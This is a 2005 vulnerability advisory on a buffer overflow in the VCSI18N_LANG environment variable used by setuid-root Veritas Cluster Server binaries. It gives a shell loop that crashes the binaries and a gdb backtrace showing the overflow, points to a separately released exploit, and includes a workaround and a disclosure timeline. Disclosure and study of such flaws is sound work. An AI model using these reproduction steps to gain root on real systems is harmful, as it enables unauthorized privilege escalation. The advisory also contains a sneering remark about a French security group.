DMA[2005-1112a] - 'Veritas Storage Foundation VCSI18N_LANG buffer overflow'
Author: Kevin Finisterre
Vendor: http://www.Veritas.com
Product: 'Veritas Cluster Server for UNIX'
References: http://www.digitalmunition.com/DMA[2005-1112a].txt
http://www.symantec.com/avcenter/security/Content/2005.11.08a.html

Description: 
Veritas Cluster Server is the industry's leading open systems clustering solution. It is ideal 
for reducing planned and unplanned downtime, facilitating server consolidation, and effectively 
managing a wide range of applications in heterogeneous environments. With support for up to 32 
node clusters, Veritas Cluster Server features the power and flexibility to protect everything 
from a single critical database instance, to the largest, globally dispersed, multi-application 
clusters. 

A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used 
by a number of setuid root applications in Storage Foundation. 

The following matrix of vulnerable products has been identified by Smantec
VCS  Solaris  AIX  HP-UX    RedHat Linux  SuSE Linux  ESX
3.5  3.5P5+  3.5P2+  3.5Update3+  2.2MP2+    2.2MP2    2.2MP2
4.0  4.0MP2+  4.0MP2+  N/A    4.0MP2+    N/A    N/A

The below information was tested on VERITAS Storage Foundation 4.0 for Red Hat Enterprise Linux
which includes the Veritas Cluster Server.

Exploitation of this issue is quite trivial in nature. 

kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000`
>> do
>> echo $each
>> $each a
>> done

./haagent
Segmentation fault
./haalert
Segmentation fault
./haattr
Segmentation fault
./hacli
Segmentation fault
./hacli_runcmd
./haclus
Segmentation fault
./haconf
Segmentation fault
./hadebug
Segmentation fault
./hagrp
Segmentation fault
./hahb
Segmentation fault
./halog
Segmentation fault
./hareg
Segmentation fault
./hares
Segmentation fault
./hastatus
Segmentation fault
./hasys
Segmentation fault
./hatype
Segmentation fault
./hauser
Segmentation fault
./tststew
Segmentation fault
kfinisterre01:/opt/VRTSvcs/bin# gdb ./hahb
(gdb) r
Starting program: /opt/VRTSvcs/bin/hahb
[Thread debugging using libthread_db enabled]
[New Thread -1211486080 (LWP 26902)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211486080 (LWP 26902)]
0xb7ccea00 in getenv () from /lib/tls/libc.so.6
(gdb) bt
#0  0xb7ccea00 in getenv () from /lib/tls/libc.so.6
#1  0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6
#2  0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6
#3  0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0
#4  0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6
#5  0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6
#6  0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6
#7  0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48 
times>, "`\b\2||FR-SIRT||SUCKS||03¿AAAAÐ\203\n\b\005", codeset=0x0, cdp=0x80a83d8,
    conv_neededp=0x80a83d0) at unix/i18n_convert.c:56
#8  0x0807d85e in i18nOpen (i18nhp=0x41414141, pathp=0x41414141 <Address 
0x41414141 out of bounds>,
    modulep=0x41414141 <Address 0x41414141 out of bounds>, 
langp=0x41414141 <Address 0x41414141 out of bounds>) at 
common/i18n.c:647
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()

An exploit has been released at both digitalmunition.com and milw0rm.com in the form of SF_multi.pl.
It was tested against Q14438H.sf.4.0.00.0.rhel3_i686.tar.gz . Make sure you don't get your sploits 
from some Frenchie at FR-SIRT go to milw0rm instead. 
http://superfrenchie.com/wp-images/posts-imgs/subway_france2.jpg

Workaround: 
chmod -s the binaries or install the patch. 
http://www.symantec.com/avcenter/security/SymantecAdvisories.html

Timeline associated with this bug:
08/19/2005 Initial exploitation
08/25/2005 passed on to Symantec
08/31/2005 Symantec - problem present accross a number platforms and versions
09/13/2005 Symantec - list of affected products identified
09/23/2005 Symantec - more brief updates on timeline for the fixes 
10/05/2005 Symantec - more timeline updates 
10/14/2005 Symantec - timeline update
11/07/2005 Symantec - passed draft advisory to me
11/08/2005 Symantec - post of advisory 

-KF